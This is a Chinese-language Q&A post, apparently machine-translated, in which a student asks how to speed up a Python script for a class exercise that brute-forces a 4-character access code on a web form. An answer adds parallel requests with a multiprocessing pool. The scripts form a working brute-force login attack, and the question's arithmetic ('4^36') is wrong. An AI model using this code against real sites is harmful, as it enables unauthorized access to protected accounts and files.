所以问题就在这里,我们的安全老师制作了一个需要验证的网站,然后要求提供代码(4个字符),以便您可以访问文件。他告诉我们用Python(我们想要的任何库)编写一个可以找到密码的暴力程序。所以要做到这一点,我想首先制作一个程序,可以尝试在该代码字段上随机组合,只是为了了解每个请求的时间(我使用请求库),结果是每个请求的消失8秒 通过一些计算:4 ^ 36 = 13 436 928可能的组合,我的程序将在155.52天左右。 如果有人可以帮助我加快速度,那我真的很感激。 (他告诉我们,每秒可以制作大约1200个组合)
这是我的代码:
import requests
import time
import random
def gen():
alphabet = "abcdefghijklmnopqrstuvwxyz0123456789"
pw_length = 4
mypw = ""
for i in range(pw_length):
next_index = random.randrange(len(alphabet))
mypw = mypw + alphabet[next_index]
return mypw
t0 = time.clock()
t1 = time.time()
cookie = {'ig': 'b0b5294376ef12a219147211fc33d7bb'}
for i in range(0,5):
t2 = time.clock()
t3 = time.time()
values = {'RECALL':gen()}
r = requests.post('http://www.example.com/verif.php', stream=True, cookies=cookie, data=values)
print("##################################")
print("cpu time for req ",i,":", time.clock()-t2)
print("wall time for req ",i,":", time.time()-t3)
print("##################################")
print("##################################")
print("Total cpu time:", time.clock()-t0)
print("Total wall time:", time.time()-t1)
谢谢
答案 0 :(得分:1)
您可以尝试的是使用Pool of workers并行执行多个请求,并将密码传递给每个工作者。类似的东西:
import itertools
from multiprocessing import Pool
def pass_generator():
for pass_tuple in itertools.product(alphabet, repeat=4):
yield ''.join(pass_tuple)
def check_password(password):
values = {'RECALL': password}
r = requests.post('http://www.example.com/verif.php', stream=True, cookies=cookie, data=values)
# Check response here.
pool = Pool(processes=NUMBER_OF_PROCESSES)
pool.map(check_password, pass_generator())